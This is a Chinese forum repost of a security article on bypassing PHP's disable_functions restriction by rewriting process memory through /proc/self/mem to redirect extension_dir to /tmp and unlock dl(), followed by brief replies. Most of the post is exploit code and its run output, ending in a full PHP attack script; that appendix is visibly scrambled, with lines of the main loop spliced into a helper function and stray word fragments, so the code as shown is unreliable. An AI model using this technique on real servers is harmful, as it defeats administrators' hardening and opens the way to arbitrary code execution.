魔扣论坛

魔扣源码论坛业务
查看: 808|回复: 5

利用PHP内核变量绕过disable_functions(附完整代码)

[复制链接]
  • TA的每日心情
    无聊
    2018-10-28 00:07
  • 签到天数: 17 天

    [LV.4]神出鬼没

    27

    主题

    0

    回帖

    37

    积分

    魔扣新手

    Rank: 1

    魔扣币
    8
    贡献
    8
    威望
    0
    发表于 2016-12-31 15:47:28 | 显示全部楼层 |阅读模式
    魔扣币兑换比例:【 50以下 : ¥1 = 10 魔扣币 】丨【 50 - 100 :¥1 = 20 魔扣币】丨【 100以上:¥1 = 30 魔扣币 】

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    x


      0 01 概述

      在https://rdot.org网站上面,有一篇俄语文章专门介绍了如何使用fopen/fread/fwrite函数来操纵内存文件/proc/self/mem。利用这种方法,人们就可以用system()函数的地址来替换GOT中open()函数的地址,这样的话,攻击者就可以通过readfile()函数来随心所欲地执行任意os命令了。
      但是,这是需要一些前提条件的:
    PHP 必须运行于PHP-CGI/PHP-FPM/CLI模式下。
    POC只能运行于X86平台。
    内核版本必须大于2.98。
    open_basedir = off。
      同时,它还会带来一些问题:
    PHP的worker将会崩溃,因为GOT会被修改。
    系统会变得不太稳定。
      Good,不过这需要修改全局配置来打开“上帝模式”,即启用dl()并将extension_dir设为/tmp目录。
      0 02 测试环境
    ylbhz@ylbhz-Aspire-5750G:/tmp$ php -v
    PHP 5.5.9-1ubuntu4.9 (cli) (built: Apr 17 2015 11:44:57) Copyright (c) 1997-2014 The PHP Group
    Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies ylbhz@ylbhz-Aspire-5750G:/tmp$ uname -a
    Linux ylbhz-Aspire-5750G 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
      0 03 为什么使用dl()函数?
      这个php函数看起来于dlopen()有几分相似,可以方便地加载我们想要的其他代码。当然,我们无法使用intset()函数把enabledl设为true,以及把extension_dir设为其属下的目录。不过别急,我们要一步一步来。
      0 04 相关内核变量结构
      zendexecutor_globals的结构如下所示:
    struct _zend_executor_globals { zval **return_value_ptr_ptr;
    zval uninitialized_zval;
    zval *uninitialized_zval_ptr;
    zval error_zval;
    zval *error_zval_ptr;
    zend_ptr_stack arg_types_stack;
    /\* symbol table cache *\/
    HashTable *symtable_cache[SYMTABLE_CACHE_SIZE]; HashTable **symtable_cache_limit;
    HashTable **symtable_cache_ptr;
    zend_op **opline_ptr;
    HashTable *active_symbol_table;
    HashTable symbol_table; /\* main symbol table *\/
    HashTable included_files; /\* files already included *\/
    JMP_BUF *bailout;
    int error_reporting; //value of error_reporting
    int orig_error_reporting; int exit_status;
    zend_op_array *active_op_array;
    HashTable *function_table; /\* function symbol table *\/ HashTable *class_table; /\* class table *\/ HashTable*zend_constants; /\*constantstable*\/
    zend_class_entry *scope;zend_class_entry *called_scope; /\* Scope of the calling class *\/ zval *This;
    long precision;
    int ticks_count; //10*8
    zend_bool in_execution; //typedef unsigned char zend_bool; HashTable *in_autoload;
    zend_function *autoload_func;
    zend_bool full_tables_cleanup;
    /\* for extended information support *\/ zend_bool no_extensions;
    #ifdef ZEND_WIN32
    zend_bool timed_out;
    OSVERSIONINFOEX windows_version_info;
    #endif
    HashTable regular_list; HashTable persistent_list;
    zend_vm_stack argument_stack;
    int user_error_handler_error_reporting;
    zval *user_error_handler;
    zval *user_exception_handler;
    zend_stack user_error_handlers_error_reporting; zend_ptr_stack user_error_handlers; zend_ptr_stack user_exception_handlers;
    zend_error_handling_t error_handling; zend_class_entry *exception_class;
    /\* timeout support *\/
    int timeout_seconds; //value of set_time_limit
    int lambda_count;
    HashTable *ini_directives; //configuration comes from php.ini
    HashTable *modified_ini_directives; zend_ini_entry *error_reporting_ini_entry;
    zend_objects_store objects_store; zval *exception, *prev_exception; zend_op *opline_before_exception; zend_op exception_op[3];
    struct _zend_execute_data *current_execute_data; struct _zend_module_entry *current_module; zend_property_info std_property_info;
    zend_bool active;
    zend_op *start_op;
    void *saved_fpu_cw_ptr; #if XPFPA_HAVE_CW
    XPFPA_CW_DATATYPE saved_fpu_cw; #endif
    void *reserved[ZEND_MAX_RESERVED_RESOURCES]; };
      请注意其中名为ini_directives的成员,其数据结构如下所示:
    ypedef struct _hashtable { uint nTableSize;
    uint nTableMask;
    uint nNumOfElements;
    ulong nNextFreeElement;
    Bucket *pInternalPointer;
    Bucket *pListHead;
    Bucket *pListTail;
    Bucket **arBuckets; //Item array dtor_func_t pDestructor; //pointer zend_bool persistent;
    unsigned char nApplyCount; zend_bool bApplyProtection;
    #if ZEND_DEBUG int inconsistent;
    #endif
    } HashTable;
      所有的Bucket数据结构如下所示:
    typedef struct bucket {
    ulong h;
    uint nKeyLength;
    void *pData; //value of item void *pDataPtr;
    struct bucket *pListNext; struct bucket *pListLast; struct bucket *pNext;
    struct bucket *pLast;
    const char *arKey;
    } Bucket;
      实际上,pData是指向_zend_ini_entry结构体的一个指针,该结构的定义如下所示。
    struct _zend_ini_entry {
    int module_number;
    int modifiable; //whether it can be modified char *name; //name of option
    uint name_length; //length of option name ZEND_INI_MH((*on_modify));
    void *mh_arg1;
    void *mh_arg2;
    void *mh_arg3;
    char *value; //value of option
    (.... etc ...)
    }
      上面是一些非常重要的结构成员,其中modifiable用来决定选项是否允许通过iniset()函数进行修改,它用于BOOL型选项。接下来,我们会用它来启用enabledl选项。 只要搜索内存,我们就能轻松找到“enabledl”和“extensiondir”。
      0 05 搜索相应选项
      首先,我们要决定到哪里去搜索。
    ylbhz@ylbhz-Aspire-5750G:/tmp$ php -r "echo file_get_contents('/proc/self/maps');"
    00400000-00bf3000 r-xp 00000000 /usr/bin/php5
    00df3000-00e94000 r--p 007f3000 08:01 4997702 00e94000-00ea1000 rw-p 00894000 /usr/bin/php5
    00ea1000-00ebe000 rw-p 00000000 00:00 0
    0278f000-02a65000 rw-p 00000000 00:00 0 ...etc...
      当然,你可以使用php代码来搜索内存映射(memory maps)镜像。
      现在,我们利用set_time_limit和error_reporting在内存中建立一个标志
    error_reporting(0x66778899);  
    set_time_limit(0x41424344);
      下面,我们使用fopen()函数(这里必须使用rb选项)来打开/proc/self/mem,并将文件读写指针移动到我们要搜索的内存空间的起始位置。然后,我们在内存中搜索0 66778899。
    $mem = fopen("/proc/self/mem", "rb"); fseek($mem, 0x00ea1000);
    for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4) {
    $num = unp(fread($mem, 4));
    if($num == 0x66778899) //set by error_reporting()
    {
    $offset = 0x00ea1000 + $i;
    printf("got noe, offset is:0x%x\r\n", $offset);
      我们可以使用error_reporting()输出相应的信息,来确认地址是否为我们想要的那个地址。
    printf("Now set error_reporting to 0x55667788 and reread the value\r\n");  
    error_reporting(0x55667788);
    fseek($mem, $offset);
    $num = unp(fread($mem, 4));
    printf("The value is %x\r\n", $num);  
    if($num == 0x55667788){printf("I found the offset of executor_globals's member error_reporting\r\n");
    ...etc...
      接下来,以同样的方法搜索成员timeout_seconds。
      fseek($mem, $offset);
      fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
      $timeout = dump_value($mem, 4);
      if($timeout == 0x41424344) //set by set_time_limit(){
    ..etc...
      现在,我们已经确认了_zend_executor_globals结构的地址,那么找到ini_directives成员和Bucket **arBuckets也就很简单了。
    printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout); dump_value($mem, 4);
    $ini_dir = dump_value($mem, 8);
    printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir); fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets; $arBucket = dump_value($mem, 8);
    printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket); fseek($mem, $arBucket);
      根据Bucket **arBuckets,我们就可以遍历所有选项,直到找到我们想要的那些为止。
    for($i = 0;$i < 1000;$i ++) {
    $name, $name_t);
    ...etc...
    $bucket = dump_value($mem, 8);
    //printf("This bucket address maybe in 0x%016x\r\n", $bucket); fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket $pdata = dump_value($mem, 8);
    dump_value($mem, 8);
    //printf("This pData address maybe in 0x%016x\r\n", $pdata);
    fseek($mem, $pdata + 8); //seek to char* name;
    $name = dump_value($mem, 8);
    $name_t = dump_value($mem, 4);
    //printf("This char name* address maybe in 0x%016x, length:%d\r\n",
    fseek($mem, $name);
    $strname = fread($mem, $name_t); if(strlen($strname) == 0) break;
    //printf("ini key:%s\r\n", $strname); if(strncmp($strname, 'extension_dir', 13) == 0) {
    fseek($mem, $pdata + 56); //seek to char* value;
    $value = dump_value($mem, 8);
    $value_t = dump_value($mem, 4);
    printf("This char value* address maybe in 0x%016x,
    length:%d\r\n", $value, $value_t);  
    ...etc...
      将extension_dir修改为/tmp,如下所示:
    $mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $value);
    fwrite($mem_w, "/tmp\0", 5); //write /tmp value printf("retry to get extension_dir value!!!!\r\n"); var_dump(ini_get('extension_dir'));
      修改enable_dl选项的modifiable成员,如下所示:
    $modifiable = dump_value($mem, 4);
    printf("org modifiable value is %x\r\n", $modifiable); $mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $pdata + 4); //seek to modifiable fwrite($mem_w, packli(7));
    /* modifiable is a bit field
    #define ZEND_INI_USER (1<0) #define ZEND_INI_PERDIR (1<1) #define ZEND_INI_SYSTEM (1<2) */
    ...etc......etc...
    printf("try ini_set enable_dl agen!!!!\r\n");
    ini_set('enable_dl', true);
      最后,调用dl()函数。
    dl('not_exists');
      0 06 最终结果
    ylbhz@ylbhz-Aspire-5750G:/tmp$ php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php
    got noe, offset is:0xebd180
    Now set error_reporting to 0x55667788 and reread the value
    The value is 55667788
    I found the offset of executor_globals's member error_reporting
    read the structure
    I found the timeout_seconds I seted:0x41424344
    ini_directives address maybe in 0x00000000024983c0
    Bucket **arBuckets address maybe in 0x00000000026171e0
    I found the extension_dir offset!
    try to set extension_dir value /tmp by ini_set
    try to get extension_dir value by ini_get
    string(22) "/usr/lib/php5/20121212"
    This char value* address maybe in 0x0000000000b5ea53, length:22
    retry to get extension_dir value!!!!
    string(4) "/tmp"
    got noe, offset is:0xebd180
    Now set error_reporting to 0x55667788 and reread the value
    The value is 55667788
    I found the offset of executor_globals's member error_reporting
    read the structure
    I found the timeout_seconds I seted:0x41424344
    ini_directives address maybe in 0x00000000024983c0
    Bucket **arBuckets address maybe in 0x00000000026171e0
    I found the enable_dl offset!
    try to set enable_dl value true by ini_set
    try to get enable_dl value by ini_get
    string(0) ""
    try to run dl() function
    PHP Warning: dl(): Dynamically /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 326 try to modifiy the modifiable member in memory!
    org modifiable value is 4
    now modifiable value is 7
    try ini_set enable_dl agen!!!!
    now enable_dl seting is
    string(1) "1"
    retry the dl() function!!!!
    PHP Warning: dl(): Unable to load dynamic library '/tmp/not_exists' - /tmp/not_exists: cannot open shared object file: No such file or directory
      最后,php代码会尝试加载动态库,并且如愿以偿。 本文附录部分给了完整的代码。
      由于编写动态库已经超出了本文的范围,所以很抱歉,这里并没有给出相关介绍。
      0 07 参考文献
    https://rdot.org/forum/showthread.php?t=3309
    http://www.blackhat.com/presentations/bh-usa-09/ESSER/BHUSA09-Esser-PostExploitatio nPHP-SLIDES.pdf
      0 08 附录
      下面是完整的PHP代码:
    <?php error_reporting(0x66778899); set_time_limit(0x41424344); define('ZEND_INI_USER', (1<<0)); define('ZEND_INI_PERDIR', (1<<1)); define('ZEND_INI_SYSTEM', (1<<2));
    $mem = fopen("/proc/self/mem", "rb");
    //set the extension_dir
    fseek($mem, 0x00ea1000);
    for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4) {
    //echo 'x';
    $num = unp(fread($mem, 4)); if($num == 0x66778899){
    $offset = 0x00ea1000 + $i;
    printf("got noe, offset is:0x%x\r\n", $offset);
    printf("Now set error_reporting to 0x55667788 and reread the value\r\n"); error_reporting(0x55667788);
    fseek($mem, $offset);
    $num = unp(fread($mem, 4));
    printf("The value is %x\r\n", $num);
    if($num == 0x55667788)
    {
    printf("I found the offset of executor_globals's member error_reporting\r\n");
    printf("read the structure\r\n");
    fseek($mem, $offset);
    fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member $timeout = dump_value($mem, 4);
    if($timeout == 0x41424344)
    {
    error_reporting(E_ALL); //restore the error reporting
    printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout); dump_value($mem, 4);
    $ini_dir = dump_value($mem, 8);
    printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir); fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
    $arBucket = dump_value($mem, 8);
    printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket); fseek($mem, $arBucket);
    //try to get the first Bucket address
    for($i = 0;$i < 1000;$i ++)
    {
    $bucket = dump_value($mem, 8);
    //printf("This bucket address maybe in 0x%016x\r\n", $bucket); fseek($mem, $bucket + 16); //seek to const void *pData; in struct
    Bucket
    $pdata = dump_value($mem, 8);
    dump_value($mem, 8);
    //printf("This pData address maybe in 0x%016x\r\n", $pdata);
    fseek($mem, $pdata + 8); //seek to char* name; $name = dump_value($mem, 8);
    $name_t = dump_value($mem, 4);
    //printf("This char name* address maybe in 0x%016x,
    length:%d\r\n", $name, $name_t); fseek($mem, $name);
    $strname = fread($mem, $name_t); if(strlen($strname) == 0) break;
    //printf("ini key:%s\r\n", $strname); if(strncmp($strname, 'extension_dir', 13) == 0) {
    printf("I found the extension_dir offset!\r\n");
    printf("try to set extension_dir value /tmp by ini_set\r\n"); ini_set('extension_dir', '/tmp');
    printf("try to get extension_dir value by ini_get\r\n"); var_dump(ini_get('extension_dir'));
    // write string value
    fseek($mem, $pdata + 56); //seek to char* value; $value = dump_value($mem, 8);
    $value_t = dump_value($mem, 4);
    printf("This char value* address maybe in 0x%016x,
    length:%d\r\n", $value, $value_t);
    // write data part
    $mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $value);
    fwrite($mem_w, "/tmp\0", 5); //write /tmp value printf("retry to get extension_dir value!!!!\r\n"); var_dump(ini_get('extension_dir'));
    error_reporting(0x66778899);
    break; }
    //seek to struct bucket *pListNext; ready to read next bucket's
    address
    strage!
    }
    }
    } else {
    error_reporting(0x66778899); }
    } }
    //set the enable_dl
    fseek($mem, 0x00ea1000);
    for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4) {
    $num = unp(fread($mem, 4)); if($num == 0x66778899)
    {
    $offset = 0x00ea1000 + $i;
    printf("got noe, offset is:0x%x\r\n", $offset);
    fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;
    it's so
    printf("now here, restore the value\r\n");
    Bucket
    printf("Now set error_reporting to 0x55667788 and reread the value\r\n"); error_reporting(0x55667788);
    fseek($mem, $offset);
    $num = unp(fread($mem, 4));
    printf("The value is %x\r\n", $num); if($num == 0x55667788)
    {
    printf("I found the offset of executor_globals's member error_reporting\r\n");
    printf("read the structure\r\n");
    fseek($mem, $offset);
    fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member $timeout = dump_value($mem, 4);
    if($timeout == 0x41424344)
    {
    error_reporting(E_ALL); //restore the error reporting
    printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout); dump_value($mem, 4);
    $ini_dir = dump_value($mem, 8);
    printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir); fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
    $arBucket = dump_value($mem, 8);
    printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket); fseek($mem, $arBucket);
    //try to get the first Bucket address
    for($i = 0;$i < 1000;$i ++)
    {
    $bucket = dump_value($mem, 8);
    //printf("This bucket address maybe in 0x%016x\r\n", $bucket); fseek($mem, $bucket + 16); //seek to const void *pData; in struct
    $pdata = dump_value($mem, 8); dump_value($mem, 8);
    //printf("This pData address maybe in 0x%016x\r\n", $pdata);
    fseek($mem, $pdata + 8); //seek to char* name; $name = dump_value($mem, 8);
    $name_t = dump_value($mem, 4);
    //printf("This char name* address maybe in 0x%016x,
    length:%d\r\n", $name, $name_t); fseek($mem, $name);
    $strname = fread($mem, $name_t); if(strlen($strname) == 0) break; //printf("ini key:%s\r\n", $strname); if(strncmp($strname, 'enable_dl', 9) == 0) {
    printf("I found the enable_dl offset!\r\n");
    printf("try to set enable_dl value true by ini_set\r\n"); ini_set('enable_dl', true);
    printf("try to get enable_dl value by ini_get\r\n"); var_dump(ini_get('enable_dl'));
    printf("try to run dl() function\r\n"); dl('not_exists');
    printf("try to modifiy the modifiable member in memory!\r\n"); fseek($mem, $pdata + 4);
    $modifiable = dump_value($mem, 4);
    printf("org modifiable value is %x\r\n", $modifiable);
    $mem_w = fopen("/proc/self/mem", "wb"); fseek($mem_w, $pdata + 4); //seek to modifiable fwrite($mem_w, packli(7));
    //check
    fseek($mem, $pdata + 4);
    $modifiable = dump_value($mem, 4);
    printf("now modifiable value is %x\r\n", $modifiable);
    address
    strage!
    }
    }
    } else {
    error_reporting(0x66778899); }
    } }
    function unp($value) {
    return hexdec(bin2hex(strrev($value)));
    }
    function dump_value($dh, $flag) {
    switch($flag) {
    printf("try ini_set enable_dl agen!!!!\r\n"); ini_set('enable_dl', true);
    printf("now enable_dl seting is\r\n"); var_dump(ini_get('enable_dl')); printf("retry the dl() function!!!!\r\n"); ini_set('extension_dir', '/tmp'); dl('not_exists');
    exit(0); }
    //seek to struct bucket *pListNext; ready to read next bucket's
    fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;
    it's so
    printf("now here, restore the value\r\n");
    case 4: return unp(fread($dh, 4));
    case 8: return unp(fread($dh, 8)); }
    }
    function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
    }
    function packli($value) {
    return pack('V', $value); }
    ?>
      FB温馨提示:在Post原文PDF代码到FreeBuf的时候,代码出现了一些改变,建议有强迫症或者有代码洁癖的看官阅读原文PDF :)  

      *参考来源:exploit-db,编译/I12016,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

    该用户从未签到

    0

    主题

    249

    回帖

    498

    积分

    中级魔扣

    Rank: 3Rank: 3

    魔扣币
    249
    贡献
    249
    威望
    0
    发表于 2017-2-15 20:53:16 | 显示全部楼层
    太漂亮的源码了,非常感谢魔扣源码论坛

    该用户从未签到

    2

    主题

    234

    回帖

    470

    积分

    中级魔扣

    Rank: 3Rank: 3

    魔扣币
    234
    贡献
    234
    威望
    0
    发表于 2017-5-25 22:30:23 来自手机 | 显示全部楼层
    垃圾内容,路过为证。

    该用户从未签到

    2

    主题

    259

    回帖

    520

    积分

    高级魔扣

    Rank: 4

    魔扣币
    259
    贡献
    259
    威望
    0
    发表于 2017-10-6 12:30:23 来自手机 | 显示全部楼层
    有空一起交流一下

    该用户从未签到

    3

    主题

    241

    回帖

    485

    积分

    中级魔扣

    Rank: 3Rank: 3

    魔扣币
    241
    贡献
    241
    威望
    0
    发表于 2018-3-24 14:55:29 来自手机 | 显示全部楼层
    我是个凑数的。。。

    该用户从未签到

    1

    主题

    278

    回帖

    557

    积分

    高级魔扣

    Rank: 4

    魔扣币
    278
    贡献
    278
    威望
    0
    发表于 2018-9-24 17:16:22 来自手机 | 显示全部楼层
    魔扣源码论坛网络版块就像是监狱,本来是偷了个钱包进来的,等出去的时候就什么都学会了。   
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    • 联系我们
    • 新浪微博 :
    • 在线客服 :魔扣科技 
    • 源码QQ群 :魔扣源码论坛官方总群
    • 联系邮箱 :charlin#morko.net
    • 微信扫一扫
    快速回复 返回顶部 返回列表